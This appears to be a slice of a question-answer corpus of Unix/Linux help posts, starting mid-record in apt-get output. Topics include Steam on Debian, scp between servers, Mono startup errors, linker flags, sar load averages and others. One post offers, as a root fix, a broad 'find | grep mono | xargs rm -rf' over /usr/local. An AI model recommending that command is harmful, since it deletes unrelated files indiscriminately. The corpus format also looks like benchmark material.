gnome-session-common gnome-shell-common gnome-themes-standard-data gsettings-desktop-schemas gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-pulseaudio gvfs gvfs-bin gvfs-common gvfs-daemons gvfs-libs init-system-helpers libarchive13 libassuan0 libatk1.0-0 libatk1.0-data libatspi2.0-0 libaudit-common libaudit1 libavcodec55 libavformat55 libavutil53 libburn4 libbz2-1.0 libc6:i386 libc6-i686:i386 libcairo-perl libcairo2 libcamel-1.2-49 libcaribou-common libcolord2 libcolorhug2 libcups2 libcupscgi1 libcupsfilters1 libcupsimage2 libcupsmime1 libcupsppdc1 libdb5.3 libdbus-glib-1-2 libdconf1 libdjvulibre-text libdjvulibre21 libdrm-dev libdrm-intel1 libdrm-intel1:i386 libdrm-nouveau2 libdrm-nouveau2:i386 libdrm-radeon1 libdrm-radeon1:i386 libdrm2 libdrm2:i386 libebackend-1.2-7 libebook-1.2-14 libebook-contacts-1.2-0 libecal-1.2-16 libedata-book-1.2-20 libedata-cal-1.2-23 libedataserver-1.2-18 libegl1-mesa libegl1-mesa-drivers libelf1 libelf1:i386 libelfg0 libepoxy0 libevdev2 libexpat1 libexpat1:i386 libffi6 libffi6:i386 libfftw3-3 libfftw3-double3 libfftw3-long3 libfftw3-single3 libflac8 libfolks-telepathy25 libfolks25 libfontconfig1 libfontembed1 libgbm1 libgcc1 libgcc1:i386 libgck-1-0 libgcr-base-3-1 libgcrypt11 libgcrypt20 libgd3 libgdk-pixbuf2.0-0 libgdk-pixbuf2.0-common libgee-0.8-2 libgeocode-glib0 libgexiv2-2 libgirepository-1.0-1 libgl1-mesa-dev libgl1-mesa-dri libgl1-mesa-glx libglapi-mesa libglib-perl libglib2.0-0 libglib2.0-bin libglibmm-2.4-1c2a libgmp10 libgnomekbd-common libgnutls-deb0-28 libgomp1 libgphoto2-6 libgphoto2-port10 libgrilo-0.2-1 libgstreamer-plugins-base1.0-0 libgstreamer1.0-0 libgtk-3-common libgutenprint2 libgweather-common libhogweed2 libhtml-parser-perl libibus-1.0-5 libical1 libicu52 libimobiledevice4 libinput0 libjavascriptcoregtk-3.0-0 libjson-c2 liblcms2-2 libllvm3.4 libllvm3.4:i386 liblocale-gettext-perl libmagickcore5 libmm-glib0 libmozjs-24-0 libmpdec2 libmx-common libncurses5 libncursesw5 libndp0 libnet-dbus-perl libnet-ssleay-perl libnettle4 libnl-3-200 libnl-genl-3-200 libnl-route-3-200 libnm-glib4 libnm-gtk-common libnm-util2 libopenjpeg5 libopenvg1-mesa libopus0 liborc-0.4-0 libp11-kit0 libpackagekit-glib2-16 libpam-systemd libparted2 libpciaccess0 libpciaccess0:i386 libpcre3 libpcre3-dev libpcrecpp0 libperl4-corelibs-perl libperl5.18 libpixman-1-0 libplist2 libpoppler-glib8 libpoppler46 libproxy1 libpulse-mainloop-glib0 libpulse0 libpulsedsp libpurple0 libpython3-stdlib libpython3.4-minimal libpython3.4-stdlib libqpdf13 libreadline6 librtmp1 libsdl1.2debian libsecret-1-0 libsecret-common libsocket-perl libsoundtouch0 libsoup2.4-1 libsqlite3-0 libssl1.0.0 libstdc++6 libstdc++6:i386 libswscale2 libsystemd-daemon0 libsystemd-id128-0 libsystemd-journal0 libsystemd-login0 libtasn1-6 libtelepathy-glib0 libtelepathy-logger3 libtext-charwidth-perl libtext-iconv-perl libtiff5 libtinfo5 libtinfo5:i386 libtotem-plparser18 libtracker-sparql-1.0-0 libtxc-dxtn-s2tc0 libtxc-dxtn-s2tc0:i386 libudev1 libudisks2-0 libupower-glib2 libusbmuxd2 libuuid-perl libva1 libvpx1 libwacom-common libwacom2 libwayland-client0 libwayland-cursor0 libwayland-egl1-mesa libwayland-server0 libwebp5 libx11-6 libx11-dev libx11-xcb-dev libx11-xcb1 libx264-142 libxatracker2 libxcb-dri2-0 libxcb-dri2-0-dev libxcb-dri3-0 libxcb-dri3-dev libxcb-glx0 libxcb-glx0-dev libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-present-dev libxcb-present0 libxcb-randr0 libxcb-randr0-dev libxcb-render0 libxcb-render0-dev libxcb-shape0 libxcb-shape0-dev libxcb-sync-dev libxcb-sync1 libxcb-xf86dri0 libxcb-xfixes0 libxcb-xfixes0-dev libxcb-xv0 libxcb1 libxcb1-dev libxdamage-dev libxdamage1 libxfixes-dev libxfixes3 libxi6 libxkbcommon0 libxml-parser-perl libxml2 libxshmfence-dev libxshmfence1 libxxf86vm-dev libxxf86vm1 libzeitgeist-2.0-0 mesa-common-dev mime-support nautilus-data network-manager parted perl perl-base perl-modules perlmagick policykit-1 ppp printer-driver-c2esp pulseaudio pulseaudio-module-x11 pulseaudio-utils python-aptdaemon python-gi python-gi-cairo systemd systemd-sysv udisks2 upower usbmuxd x11proto-damage-dev x11proto-dri2-dev x11proto-fixes-dev x11proto-gl-dev x11proto-xf86vidmode-dev xserver-common xserver-xephyr xserver-xorg-core xserver-xorg-input-evdev xserver-xorg-input-mouse xserver-xorg-input-synaptics xserver-xorg-input-vmmouse xserver-xorg-input-wacom xserver-xorg-video-all xserver-xorg-video-ati xserver-xorg-video-cirrus xserver-xorg-video-fbdev xserver-xorg-video-intel xserver-xorg-video-mach64 xserver-xorg-video-mga xserver-xorg-video-modesetting xserver-xorg-video-neomagic xserver-xorg-video-nouveau xserver-xorg-video-openchrome xserver-xorg-video-r128 xserver-xorg-video-radeon xserver-xorg-video-savage xserver-xorg-video-siliconmotion xserver-xorg-video-sisusb xserver-xorg-video-tdfx xserver-xorg-video-trident xserver-xorg-video-vesa xserver-xorg-video-vmware zlib1g zlib1g:i386 zlib1g-dev Suggested packages: bzip2-doc xpp cups-pdf lrzip glibc-doc:i386 locales:i386 libfont-freetype-perl libfftw3-bin libfftw3-dev rng-tools libgd-tools libglide3 libglide3:i386 gnutls-bin gphoto2 gtkam grilo-plugins-0.2 gstreamer-codec-install gnome-codec-install gstreamer1.0-tools gutenprint-locales libdata-dump-perl libusbmuxd-tools liblcms2-utils opus-tools libparted-dev libparted-i18n libxcb-doc parted-doc perl-doc libterm-readline-gnu-perl libterm-readline-perl-perl make libb-lint-perl libcpanplus-dist-build-perl libcpanplus-perl libfile-checktree-perl liblog-message-simple-perl liblog-message-perl libobject-accessor-perl imagemagick-doc pavumeter pavucontrol paman paprefs systemd-ui xfsprogs reiserfsprogs exfat-utils btrfs-tools mdadm gpointing-device-settings touchfreeze xinput firmware-linux Recommended packages: cups-browsed gstreamer1.0-x qpdf va-driver-all va-driver rename libarchive-extract-perl libmodule-pluggable-perl libpod-latex-perl libterm-ui-perl libtext-soundex-perl gdisk xserver-xorg-video-qxl The following packages will be REMOVED: aisleriot alacarte aptdaemon baobab bluez-cups brasero caribou caribou-antler cheese cups dconf-tools empathy eog evince evolution evolution-data-server evolution-plugins evolution-webcal file-roller gcalctool gcr gdebi gdm3 gedit gedit-plugins gir1.2-caribou-1.0 gir1.2-clutter-1.0 gir1.2-clutter-gst-1.0 gir1.2-evince-3.0 gir1.2-gcr-3 gir1.2-gkbd-3.0 gir1.2-gnomebluetooth-1.0 gir1.2-goa-1.0 gir1.2-gtk-3.0 gir1.2-gtkclutter-1.0 gir1.2-gtksource-3.0 gir1.2-gucharmap-2.90 gir1.2-mutter-3.0 gir1.2-panelapplet-4.0 gir1.2-peas-1.0 gir1.2-rb-3.0 gir1.2-totem-1.0 gir1.2-vte-2.90 gir1.2-webkit-3.0 gir1.2-wnck-3.0 gkbd-capplet glchess glines gnect gnibbles gnobots2 gnome gnome-applets gnome-bluetooth gnome-color-manager gnome-contacts gnome-control-center gnome-core gnome-dictionary gnome-disk-utility gnome-documents gnome-font-viewer gnome-games gnome-icon-theme gnome-icon-theme-extras gnome-icon-theme-symbolic gnome-keyring gnome-media gnome-nettool gnome-online-accounts gnome-orca gnome-packagekit gnome-panel gnome-power-manager gnome-screensaver gnome-screenshot gnome-session gnome-session-bin gnome-session-fallback gnome-settings-daemon gnome-shell gnome-shell-extensions gnome-sudoku gnome-sushi gnome-system-log gnome-system-monitor gnome-terminal gnome-themes-standard gnome-tweak-tool gnome-user-guide gnome-user-share gnomine gnotravex gnotski gtali gucharmap gvfs-backends hpijs hplip iagno idle-python3.2 idle3 libaudit0 libavahi-ui-gtk3-0 libbrasero-media3-1 libcanberra-gtk3-0 libcanberra-gtk3-module libcaribou-gtk3-module libcaribou0 libchamplain-0.12-0 libchamplain-gtk-0.12-0 libcheese-gtk21 libcheese3 libclutter-1.0-0 libclutter-gst-1.0-0 libclutter-gtk-1.0-0 libclutter-imcontext-0.1-0 libclutter-imcontext-0.1-bin libcluttergesture-0.0.2-0 libcupsdriver1 libedata-book-1.2-13 libedataserverui-3.0-1 libepc-ui-1.0-3 libevdocument3-4 libevolution libevview3-3 libfolks-eds25 libgail-3-0 libgcr-3-1 libgdict-1.0-6 libgdu-gtk0 libglib2.0-dev libgnome-bluetooth10 libgnome-desktop-3-2 libgnome-media-profiles-3.0-0 libgnomekbd7 libgoa-1.0-0 libgtk-3-0 libgtk-3-bin libgtk-vnc-2.0-0 libgtk2-perl libgtkhtml-4.0-0 libgtkhtml-4.0-common libgtkhtml-editor-4.0-0 libgtkmm-3.0-1 libgtksourceview-3.0-0 libgucharmap-2-90-7 libgweather-3-0 libhpmud0 libmutter0 libmx-1.0-2 libnautilus-extension1a libnm-gtk0 libpanel-applet-4-0 libpango-perl libpeas-1.0-0 libperl5.14 libpulse-dev librhythmbox-core6 libsane-hpaio libsdl1.2-dev libseed-gtk3-0 libsnmp15 libtotem0 libunique-3.0-0 libvte-2.90-9 libwebkitgtk-3.0-0 libwnck-3-0 libyelp0 lightsoff mahjongg metacity mousetweaks nautilus nautilus-sendto nautilus-sendto-empathy network-manager-gnome notification-daemon policykit-1-gnome printer-driver-gutenprint printer-driver-hpcups printer-driver-hpijs printer-driver-postscript-hp printer-driver-splix python-aptdaemon.gtk3widgets python3 python3-tk quadrapassel rhythmbox rhythmbox-plugin-cdrecorder rhythmbox-plugins rygel-preferences seahorse shotwell simple-scan software-properties-gtk sound-juicer steam-launcher swell-foop task-gnome-desktop task-print-server totem totem-plugins tracker-gui transmission-gtk vinagre vino xdg-user-dirs-gtk xserver-xorg-video-apm xserver-xorg-video-ark xserver-xorg-video-chips xserver-xorg-video-i128 xserver-xorg-video-rendition xserver-xorg-video-s3 xserver-xorg-video-s3virge xserver-xorg-video-sis xserver-xorg-video-tseng xserver-xorg-video-voodoo yelp zenity The following NEW packages will be installed: colord-data cups-daemon cups-server-common cupsddk dconf-cli gcc-4.9-base gcc-4.9-base:i386 geoclue-2.0 gir1.2-gst-plugins-base-1.0 gir1.2-gstreamer-1.0 gir1.2-ibus-1.0 gir1.2-notify-0.7 gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-pulseaudio init-system-helpers libarchive13 libassuan0 libaudit-common libaudit1 libavcodec55 libavformat55 libavutil53 libc6:i386 libc6-i686:i386 libcamel-1.2-49 libcolord2 libcolorhug2 libdb5.3 libdconf1 libdrm-dev libdrm-intel1:i386 libdrm-nouveau2 libdrm-nouveau2:i386 libdrm-radeon1:i386 libdrm2:i386 libebackend-1.2-7 libebook-1.2-14 libebook-contacts-1.2-0 libecal-1.2-16 libedata-book-1.2-20 libedata-cal-1.2-23 libedataserver-1.2-18 libegl1-mesa libegl1-mesa-drivers libelf1:i386 libelfg0 libepoxy0 libevdev2 libexpat1:i386 libffi6 libffi6:i386 libfftw3-double3 libfftw3-long3 libfftw3-single3 libfontembed1 libgbm1 libgcc1:i386 libgcr-base-3-1 libgcrypt20 libgd3 libgee-0.8-2 libgexiv2-2 libgl1-mesa-dri:i386 libgnutls-deb0-28 libgphoto2-6 libgphoto2-port10 libgrilo-0.2-1 libgstreamer-plugins-base1.0-0 libgstreamer1.0-0 libhogweed2 libibus-1.0-5 libical1 libicu52 libimobiledevice4 libinput0 libjson-c2 libllvm3.4 libllvm3.4:i386 libmm-glib0 libmozjs-24-0 libmpdec2 libndp0 libopenjpeg5 libopenvg1-mesa libpackagekit-glib2-16 libpam-systemd libparted2 libpciaccess0:i386 libperl4-corelibs-perl libperl5.18 libplist2 libpoppler46 libproxy1 libpulsedsp libpython3-stdlib libpython3.4-minimal libpython3.4-stdlib libqpdf13 librtmp1 libsecret-1-0 libsecret-common libstdc++6:i386 libsystemd-id128-0 libsystemd-journal0 libtasn1-6 libtelepathy-logger3 libtiff5 libtinfo5:i386 libtotem-plparser18 libtracker-sparql-1.0-0 libtxc-dxtn-s2tc0 libtxc-dxtn-s2tc0:i386 libudev1 libudisks2-0 libupower-glib2 libusbmuxd2 libwayland-client0 libwayland-cursor0 libwayland-egl1-mesa libwayland-server0 libwebp5 libx11-xcb-dev libx264-142 libxatracker2 libxcb-dri2-0-dev libxcb-dri3-0 libxcb-dri3-dev libxcb-glx0-dev libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-present-dev libxcb-present0 libxcb-randr0 libxcb-randr0-dev libxcb-render0-dev libxcb-shape0-dev libxcb-sync-dev libxcb-sync1 libxcb-xf86dri0 libxcb-xfixes0 libxcb-xfixes0-dev libxcb-xv0 libxdamage-dev libxfixes-dev libxkbcommon0 libxshmfence-dev libxshmfence1 libxxf86vm-dev libzeitgeist-2.0-0 parted systemd systemd-sysv udisks2 x11proto-damage-dev x11proto-dri2-dev x11proto-fixes-dev x11proto-gl-dev x11proto-xf86vidmode-dev xserver-xorg-video-modesetting zlib1g:i386 The following packages will be upgraded: bzip2 colord cups-bsd cups-client cups-common cups-ppdc dbus-x11 dconf-gsettings-backend dconf-service empathy-common evince-common evolution-data-server-common folks-common fontconfig-config gir1.2-atspi-2.0 gir1.2-freedesktop gir1.2-gck-1 gir1.2-gdesktopenums-3.0 gir1.2-glib-2.0 gir1.2-javascriptcoregtk-3.0 gir1.2-soup-2.4 gir1.2-telepathylogger-0.2 gir1.2-upowerglib-1.0 glib-networking glib-networking-common glib-networking-services gnome-desktop3-data gnome-packagekit-data gnome-panel-data gnome-session-common gnome-shell-common gnome-themes-standard-data gsettings-desktop-schemas gvfs gvfs-bin gvfs-common gvfs-daemons gvfs-libs libatk1.0-0 libatk1.0-data libatspi2.0-0 libburn4 libbz2-1.0 libcairo-perl libcairo2 libcaribou-common libcups2 libcupscgi1 libcupsfilters1 libcupsimage2 libcupsmime1 libcupsppdc1 libdbus-glib-1-2 libdjvulibre-text libdjvulibre21 libdrm-intel1 libdrm-radeon1 libdrm2 libelf1 libexpat1 libfftw3-3 libflac8 libfolks-telepathy25 libfolks25 libfontconfig1 libgcc1 libgck-1-0 libgcrypt11 libgdk-pixbuf2.0-0 libgdk-pixbuf2.0-common libgeocode-glib0 libgirepository-1.0-1 libgl1-mesa-dev libgl1-mesa-dri libgl1-mesa-glx libglapi-mesa libglib-perl libglib2.0-0 libglib2.0-bin libglibmm-2.4-1c2a libgmp10 libgnomekbd-common libgomp1 libgtk-3-common libgutenprint2 libgweather-common libhtml-parser-perl libjavascriptcoregtk-3.0-0 liblcms2-2 liblocale-gettext-perl libmagickcore5 libmx-common libncurses5 libncursesw5 libnet-dbus-perl libnet-ssleay-perl libnettle4 libnl-3-200 libnl-genl-3-200 libnl-route-3-200 libnm-glib4 libnm-gtk-common libnm-util2 libopus0 liborc-0.4-0 libp11-kit0 libpciaccess0 libpcre3 libpcre3-dev libpcrecpp0 libpixman-1-0 libpoppler-glib8 libpulse-mainloop-glib0 libpulse0 libpurple0 libreadline6 libsdl1.2debian libsocket-perl libsoundtouch0 libsoup2.4-1 libsqlite3-0 libssl1.0.0 libstdc++6 libswscale2 libsystemd-daemon0 libsystemd-login0 libtelepathy-glib0 libtext-charwidth-perl libtext-iconv-perl libtinfo5 libuuid-perl libva1 libvpx1 libwacom-common libwacom2 libx11-6 libx11-dev libx11-xcb1 libxcb-dri2-0 libxcb-glx0 libxcb-render0 libxcb-shape0 libxcb1 libxcb1-dev libxdamage1 libxfixes3 libxi6 libxml-parser-perl libxml2 libxxf86vm1 mesa-common-dev mime-support nautilus-data network-manager perl perl-base perl-modules perlmagick policykit-1 ppp printer-driver-c2esp pulseaudio pulseaudio-module-x11 pulseaudio-utils python-aptdaemon python-gi python-gi-cairo upower usbmuxd xserver-common xserver-xephyr xserver-xorg-core xserver-xorg-input-evdev xserver-xorg-input-mouse xserver-xorg-input-synaptics xserver-xorg-input-vmmouse xserver-xorg-input-wacom xserver-xorg-video-all xserver-xorg-video-ati xserver-xorg-video-cirrus xserver-xorg-video-fbdev xserver-xorg-video-intel xserver-xorg-video-mach64 xserver-xorg-video-mga xserver-xorg-video-neomagic xserver-xorg-video-nouveau xserver-xorg-video-openchrome xserver-xorg-video-r128 xserver-xorg-video-radeon xserver-xorg-video-savage xserver-xorg-video-siliconmotion xserver-xorg-video-sisusb xserver-xorg-video-tdfx xserver-xorg-video-trident xserver-xorg-video-vesa xserver-xorg-video-vmware zlib1g zlib1g-dev 198 upgraded, 162 newly installed, 220 to remove and 916 not upgraded. Need to get 163 MB of archives. After this operation, 167 MB disk space will be freed. I assume this is it wanting to upgrade to all the new Jessie stuff. I take it just letting this run will break my system? Is there any way to just install what Steam needs, or to go about installing steam some other way? (I got it working before somehow, and this is basically a fresh debian install)."} {"_id": "147548", "title": "How to find and empty some directories", "text": "I'd like to find and delete the contents while leaving the directories themselves intact. The following find /data1 -name MyTargetDir -type d -exec rm -rv {} \\; and find /data1 -name MyTargetDir -type d | xargs -r rm -vfr delete all files and directories under 'MyTargetDir' and 'MyTargetDir' as well. I'd like to leave the directory, but empty."} {"_id": "37884", "title": "How to copy with SCP between two servers using key auth?", "text": "I can log in via SSH using key authentication to SERVER1 and SERVER2. However, I can't copy files between the two servers. Why? How can I copy between them? (the data that I have to copy is bigger than my notebooks HDD) My notebook runs Ubuntu 10.04 LTS and the two servers are AIX 5300-10-02-0943. My `~/.ssh/known_hosts` file on my notebook contains the public keys for these two servers. I use `tsocks` because I have to use an SSH tunnel to reach these two servers. The two servers can ping each other. [USER@NOTEBOOK ~] tsocks scp -v -i /home/USER/.ssh/id_rsa -p -r root@SERVER1:/PATH/TO/DIR root@SERVER2:/PATH/TO/DIR Executing: /usr/bin/ssh '-v' '-x' '-oClearAllForwardings yes' '-n' '-l' 'root' 'SERVER1' 'scp -v -r -p' '/PATH/TO/DIR' 'root@SERVER2:/PATH/TO/DIR' OpenSSH_5.3p1 Debian-3ubuntu7, OpenSSL 0.9.8k 25 Mar 2009 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug1: Connecting to SERVER1 [SERVER1] port 22. debug1: Connection established. debug1: identity file /home/USER/.ssh/identity type -1 debug1: identity file /home/USER/.ssh/id_rsa type 1 debug1: Checking blacklist file /usr/share/ssh/blacklist.RSA-1024 debug1: Checking blacklist file /etc/ssh/blacklist.RSA-1024 debug1: identity file /home/USER/.ssh/id_dsa type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.2p1+sas debug1: match: OpenSSH_5.2p1+sas pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu7 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host 'SERVER1' is known and matches the RSA host key. debug1: Found key in /home/USER/.ssh/known_hosts:59 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering public key: /home/USER/.ssh/id_rsa debug1: Server accepts key: pkalg ssh-rsa blen 151 debug1: Authentication succeeded (publickey). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: Sending environment. debug1: Sending env LANG = en_US.utf8 debug1: Sending command: scp -v -r -p /PATH/TO/DIR root@SERVER2:/PATH/TO/DIR Executing: program /applications/ssh/5.20.15.0/bin/ssh host SERVER2, user root, command scp -v -r -p -t /PATH/TO/DIR OpenSSH_5.2p1+sas, OpenSSL 0.9.8k 25 Mar 2009 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Connecting to SERVER2 [SERVER2] port 22. debug1: Connection established. debug1: permanently_set_uid: 0/0 debug1: identity file /root/.ssh/identity type -1 debug1: identity file /root/.ssh/id_rsa type -1 debug1: identity file /root/.ssh/id_dsa type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.2p1+sas debug1: match: OpenSSH_5.2p1+sas pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.2 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: read_passphrase: can't open /dev/tty: No such device or address Host key verification failed. lost connection debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 1984, received 3848 bytes, in 0.3 seconds Bytes per second: sent 6903.4, received 13389.2 debug1: Exit status 1 [USER@NOTEBOOK ~] tsocks scp -i /home/USER/.ssh/id_rsa -p -r root@SERVER1:/PATH/TO/DIR root@SERVER2:/PATH/TO/DIR Host key verification failed. lost connection [USER@NOTEBOOK ~]"} {"_id": "37883", "title": "Why do Mono applications only start from their own directory?", "text": "If I want to run the application `monodevelop`, I need to chdir to `/usr/lib/monodevelop/Bin` and then execute `./MonoDevelop.exe`. This is the same for all other Mono applications such as `banshee`, `tomboy`, etc. If I attempt to run the Mono applications from another location by simply running `monodevelop`, or even from their own directory, I get _TypeInitializationExceptions_ like this: > behrooz@behrooz:/usr/lib/monodevelop/bin$ monodevelop > FATAL ERROR [2012-05-04 11:24:39Z]: MonoDevelop failed to start. Some > of the assemblies required to run MonoDevelop (for example gtk-sharp, > gnome-sharp or gtkhtml-sharp) may not be properly installed in the > GAC. System.TypeInitializationException: An exception was thrown by > the type initializer for Gtk.Application ---> > System.EntryPointNotFoundException: glibsharp_g_thread_supported at > (wrapper managed-to-native) GLib.Thread:glibsharp_g_thread_supported > () at GLib.Thread.get_Supported () [0x00000] in :0 > at Gtk.Application..cctor () [0x00000] in :0 --- > End of inner exception stack trace --- at > MonoDevelop.Ide.IdeStartup.Run (MonoDevelop.Ide.MonoDevelopOptions > options) [0x0007e] in > > /home/behrooz/Desktop/Monodevelop/monodevelop-2.8.6.5/src/core/MonoDevelop.Ide/MonoDevelop.Ide/IdeStartup.cs:95 > at MonoDevelop.Ide.IdeStartup.Main (System.String[] args) [0x0004f] in > > /home/behrooz/Desktop/Monodevelop/monodevelop-2.8.6.5/src/core/MonoDevelop.Ide/MonoDevelop.Ide/IdeStartup.cs:503 Why is that? I have tried reinstalling all Mono, Wine, GTK, Glib, X, Gnome packages. > apt-get --purge --reinstall install $(dpkg --get-selections| grep mono |grep > install |grep -v deinstall |awk'{print $1}') I also tried starce on \"open\" and got nothing by myself System Configuration: - Debian 6.0-updates 64 bit - Kernel 3.2.0-2, 3.2.0-1, 3.1 and 3 EDIT: not a kernel thing - Gnome 3.4 EDIT:but a gnome thing - Mono 2.10.5 TLS: __thread SIGSEGV: altstack Notifications: epoll Architecture: amd64 Disabled: none Misc: softdebug LLVM: supported, not enabled. GC: Included Boehm (with typed GC and Parallel Mark) update: with upgrading to the new monodevelop 3.0.2 and latest mono, I can run monodevelop with command \"monodevelop\" in terminal,no chdir.but gnome-shell cannot run it. Finally found it: as root: cd /usr/local/ find | grep mono|xargs rm -rf # Use with caution/some applications may get messed up(stellarium has MONOchrome images...)"} {"_id": "37882", "title": "Why can't ld find this library?", "text": "I'm not very knowledgeable on this topic, and therefore can't figure out why the following command does not work: $ gfortran -o dsimpletest -O dsimpletest.o ../lib/libdmumps.a \\ ../lib/libmumps_common.a -L/usr -lparmetis -lmetis -L../PORD/lib/ \\ -lpord -L/home/eiser/src/scotch_5.1.12_esmumps/lib -lptesmumps -lptscotch \\ -lptscotcherr /opt/scalapack/lib/libscalapack.a -L/usr/lib/openmpi/ \\ -lmpi -L/opt/scalapack/lib/librefblas.a -lrefblas -lpthread /usr/bin/ld: cannot find -lrefblas collect2: ld returned 1 exit status This happens when compiling the mumps library. The above command is executed by make. I've got the librefblas.a in the correct path: $ ls /opt/scalapack/lib/ -l total 20728 -rw-r--r-- 1 root root 619584 May 3 14:56 librefblas.a -rw-r--r-- 1 root root 9828686 May 3 14:59 libreflapack.a -rw-r--r-- 1 root root 10113810 May 3 15:06 libscalapack.a -rw-r--r-- 1 root root 653924 May 3 14:59 libtmg.a _Question 1:_ I thought the `-L` switch of `ld` takes directories, why does it refer to the file directly here? If I remove the librefblas.a from the -L argument, I get a lot of \"undefined reference\" errors. _Question 2:_ `-l` should imply looking for `.a` and then looking for `.so`, if I recall correctly. Is it a problem that I don't have the `.so` file? I tried to find out by using `gfortran -v ...`, but this didn't help me debugging it."} {"_id": "105882", "title": "How to get an specific amount of lines in the console with less?", "text": "Can I get the specified number lines at a time by using the less command? I want just ex. show 20 lines even if my screen allows more."} {"_id": "105880", "title": "What happens if I use vi on large files?", "text": "Though we were instructed not to, a colleague of mine used vi to view a large text file (server.log 3.5 GB). This filled up /var/tmp and caused some problems on the server. What caused this? Why shouldn't we use vi for large files?"} {"_id": "131631", "title": "Unable to move files with SFTP", "text": "I'm trying to move files from one location to another on the remote server using sftp below: for i in a b c d do sftp $REMUSR <>$OUT 2>&1 rename $SOURDIR/sample_${i}_[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9].gz $REMDIR quit EOM : : done But I get the message: > Couldn't rename file > \"/source/sample_a_[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9].gz\" to > \"/destin/\": No such file or directory Though this file exists under the `/source` directory which I've verified: $ ls -l sample_a_[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9].gz -rw-r--r-- 1 prd admin 112 May 23 09:16 sample_a_20140330.gz"} {"_id": "105884", "title": "Can't insert spaces in code editors", "text": "Since i recently installed CodeBlocks, I can't insert spaces in codeblocks, codelite or mysql-workbench editors. When i press space the editor interprets it as a completion key unless there is no word to complete. The only way to insert a blank space is to press \"Supper+Space\". I tried to remove CodeBlocks and CodeLite but the problem persists in Mysql Workbench. Configuration : uname -a : Linux slxpc 3.2.0-57-generic #87-Ubuntu SMP Tue Nov 12 21:35:10 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux cat /proc/version Linux version 3.2.0-57-generic (buildd@toyol) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #87-Ubuntu SMP Tue Nov 12 21:35:10 UTC 2013 mysql-workbench --version MySQL Workbench CE (GPL) 6.0.8 11354 build 833 CodeBlocks version : 10.05 **FYI** : I don't have this problem in geany and leafpad."} {"_id": "144016", "title": "What is a pager?", "text": "I saw \"pager\" in several places: > `less` is a terminal pager program on Unix > > option `-P` for `man` Specify which output pager to use. What is a pager? How is it related to and different from a terminal? Thanks."} {"_id": "131638", "title": "How can average run queue length be 1 but load average is almost zero", "text": "(I originally posted this on Stack Overflow - advised to move it to here). On fedora 17 when i run the sar command to view the load average activity it almost always shows a run queue length of 1 even though the system is idle and the load averages are practically zero. My understanding of run queue length and how it relates to linux load average would suggest that if the run queue length is truly 1 on average over a period of time then for my quad core system the load average should be ~25% load average i.e. in my case read around the 1.00 mark: $ sar -q 30 60 Linux 3.9.10-100.fc17.i686 (blah) 22/05/14 _i686_ (4 CPU) 16:29:10 runq-sz plist-sz ldavg-1 ldavg-5 ldavg-15 blocked 16:29:40 1 547 0.02 0.07 0.57 0 16:30:10 1 548 0.09 0.08 0.56 0 16:30:40 1 547 0.05 0.07 0.54 0 16:31:10 1 547 0.03 0.06 0.52 0 16:31:40 0 547 0.02 0.06 0.51 0 16:32:10 1 547 0.01 0.05 0.49 0 16:32:40 1 547 0.13 0.08 0.49 0 16:33:10 1 547 0.08 0.07 0.47 0 16:33:40 1 547 0.05 0.07 0.46 0 If i then poll often for runnable tasks i very occasionally see the odd process pop up (i do this with ps r -A | grep -v 'ps r -A'). I would have expected to see one process pop up regularly to be in line with the sar output. Then if i kick of a single threaded process that consumes as much CPU as it can the run queue size immediately jumps to 2 (which is to be expected in the circumstances) but strangely after a while the run queue drops back to 1 again? Linux 3.9.10-100.fc17.i686 (blah) 22/05/14 _i686_ (4 CPU) 16:32:40 runq-sz plist-sz ldavg-1 ldavg-5 ldavg-15 blocked 16:33:10 1 547 0.08 0.07 0.47 0 16:33:40 1 547 0.05 0.07 0.46 0 START SCRIPT 16:34:10 2 548 0.11 0.08 0.45 0 16:34:40 2 548 0.51 0.18 0.47 0 16:35:10 2 548 0.70 0.26 0.49 0 16:35:40 2 548 0.82 0.33 0.50 0 16:36:10 2 548 0.89 0.39 0.52 0 16:36:40 2 548 0.93 0.45 0.53 0 16:37:10 2 548 0.96 0.50 0.55 0 16:37:40 2 548 1.04 0.57 0.57 0 16:38:10 2 548 1.02 0.61 0.58 0 